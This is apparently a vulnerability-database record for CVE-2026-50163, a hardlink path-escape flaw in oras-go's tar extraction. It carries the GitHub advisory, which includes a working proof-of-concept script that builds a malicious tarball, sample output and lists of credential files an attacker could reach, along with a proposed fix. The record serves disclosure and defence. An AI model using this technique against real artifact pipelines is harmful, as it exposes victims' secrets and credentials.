{"id":"CVE-2026-50163","aliases":["DEBIAN-CVE-2026-50163","EUVD-2026-45297","GHSA-fxhp-mv3v-67qp","GO-2026-5880","ROOT-APP-GOBINARY-CVE-2026-50163","SUSE-SU-2026:23216-1","SUSE-SU-2026:23227-1","SUSE-SU-2026:23973-1","SUSE-SU-2026:23984-1","SUSE-SU-2026:24282-1","UBUNTU-CVE-2026-50163","openSUSE-SU-2026:11297-1","openSUSE-SU-2026:11575-1","openSUSE-SU-2026:11676-1","openSUSE-SU-2026:21551-1","openSUSE-SU-2026:21801-1","openSUSE-SU-2026:21983-1"],"status":"published","title":"oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00403,"percentile":0.3487,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-07-01T21:48:04Z","modified":"2026-10-28T02:30:22Z","fixes":[{"ecosystem":"Go","package":"oras.land/oras-go/v2","fixed_in":["2.6.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"golang-oras-oras-go","fixed_in":["2.6.2-1"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"oras.land/oras-go/v2","fixed_in":["v2.6.1-aikido.1","v2.6.1-aikido.2","v2.6.1-aikido.3","v2.6.0-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-oras.land/oras-go/v2","fixed_in":["v2.6.1-root.io.1","v2.6.1-root.io.2","v2.6.1-root.io.3","v2.6.0-root.io.2"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"oras","fixed_in":["1.3.3-2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6.1"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.1-1","2.5.0-1","2.6.0-1","2.6.2-1","2.6.2-2"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","2.6.0-1","2.6.2-1","2.6.2-2"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.2-1"}]}],"versions":["2.5.0-1","2.6.0-1"]},{"source":"osv","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Go","package":"oras.land/oras-go/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.2"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.6.1-aikido.1"},{"fixed":"v2.6.1-aikido.2"},{"fixed":"v2.6.1-aikido.3"},{"fixed":"v2.6.0-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-oras.land/oras-go/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.6.1-root.io.1"},{"fixed":"v2.6.1-root.io.2"},{"fixed":"v2.6.1-root.io.3"},{"fixed":"v2.6.0-root.io.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.1.1"}]}],"bundled":18},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.1.1"}]}],"bundled":18},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.1.1"}]}],"bundled":18},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-slfo.1.1_1.1"}]}],"bundled":20},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.1-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.6.0-1","2.6.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-oras-oras-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","2.6.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"oras","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.3-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.4-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"trivy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.74.0-2.1"}]}],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"trivy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.74.0-160000.2.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0-160000.1.1"}]}],"bundled":18}],"products":[{"vendor":"oras-project","product":"oras-go"}],"references":[{"url":"https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/oras-project/oras-go/pull/1232","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/oras-project/oras-go/releases/tag/v2.6.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406","tags":["web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50163","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fxhp-mv3v-67qp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50163.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-50163","tags":["advisory"]},{"url":"https://github.com/oras-project/oras-go","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623216-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24451","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25038","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-30246","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35205","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37462","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39883","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40890","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41642","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41643","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42285","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42306","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42554","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42931","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44166","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44283","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44301","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44517","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44740","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44973","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45022","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45135","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46384","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46385","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49837","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49838","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52844","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52845","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52846","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55982","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55984","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55987","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56750","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58418","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58421","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58426","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58432","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58434","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58435","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58442","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58443","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58507","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58510","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6993","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7020","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7482","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8276","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623227-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623973-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1261935","tags":["report"]},{"url":"https://bugzilla.suse.com/1261938","tags":["report"]},{"url":"https://bugzilla.suse.com/1261939","tags":["report"]},{"url":"https://bugzilla.suse.com/1265428","tags":["report"]},{"url":"https://bugzilla.suse.com/1265758","tags":["report"]},{"url":"https://bugzilla.suse.com/1270127","tags":["report"]},{"url":"https://bugzilla.suse.com/1271660","tags":["report"]},{"url":"https://bugzilla.suse.com/1271997","tags":["report"]},{"url":"https://bugzilla.suse.com/1275024","tags":["report"]},{"url":"https://bugzilla.suse.com/1275025","tags":["report"]},{"url":"https://bugzilla.suse.com/1276327","tags":["report"]},{"url":"https://bugzilla.suse.com/1276510","tags":["report"]},{"url":"https://bugzilla.suse.com/1276514","tags":["report"]},{"url":"https://bugzilla.suse.com/1281112","tags":["report"]},{"url":"https://bugzilla.suse.com/1281426","tags":["report"]},{"url":"https://bugzilla.suse.com/1281468","tags":["report"]},{"url":"https://bugzilla.suse.com/1281469","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33814","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41888","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85732","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623984-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624282-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283642","tags":["report"]},{"url":"https://bugzilla.suse.com/1284104","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63209","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-81870","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-50163","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50163","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24122","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37236","tags":["web"]},{"url":"https://bugzilla.suse.com/1258543","tags":["report"]},{"url":"https://bugzilla.suse.com/1276745","tags":["report"]},{"url":"https://bugzilla.suse.com/1278002","tags":["report"]},{"url":"https://bugzilla.suse.com/1278624","tags":["report"]},{"url":"https://bugzilla.suse.com/1278702","tags":["report"]},{"url":"https://bugzilla.suse.com/1279390","tags":["report"]},{"url":"https://bugzilla.suse.com/1279392","tags":["report"]},{"url":"https://bugzilla.suse.com/1279395","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-50163","title":"oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T19:36:01.254Z","modified":"2026-07-20T15:01:16.63Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:20:09.098623Z"}],"euvd":[{"id":"EUVD-2026-45297","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.","status":"published","published":"2026-07-17T19:36:01Z","modified":"2026-07-20T15:01:16Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T18:19:49.035342Z"}],"ghsa":[{"id":"GHSA-fxhp-mv3v-67qp","title":"`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution","description":"### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION\n }\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil // \u003c-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n var target string\n if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(target, filePath)\n }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n\u003e oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process's **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` — passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `\u003cextract_base\u003e/payload.tar.gz/victim.secret` → inside base → **validation passes**.\n - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD → creates a hardlink inside the extract tree pointing to `\u003cinvoker_CWD\u003e/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** — reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from \u003chttps://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz\u003e).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" \u003e cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c '\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n info.uid = os.getuid(); info.gid = os.getgid()\n t.addfile(info, io.BytesIO(c))\n\n link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n link.type = tarfile.LNKTYPE\n link.linkname = \"victim.secret\" # RELATIVE\n link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n t.addfile(link)\n'\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space \u0026\u0026 oras push --oci-layout ../layout:v1 \\\n payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/\u003cmanifest\u003e to add\n# io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space \u0026\u0026 oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160\nstat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)\ncat extract/payload.tar.gz/evil_cwd_link # → \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret (in invoker CWD): inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` — output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` — very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don't support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", \"\", err\n }\n return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n var absTarget string\n if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(absTarget, filePath)\n }\ncase tar.TypeSymlink:\n var symTarget string\n symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n if err != nil { return err }\n if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test's `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.","status":"published","published":"2026-07-01T21:48:04Z","modified":"2026-08-04T21:53:18Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:40:56.852119Z"}],"nvd":[{"id":"CVE-2026-50163","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target 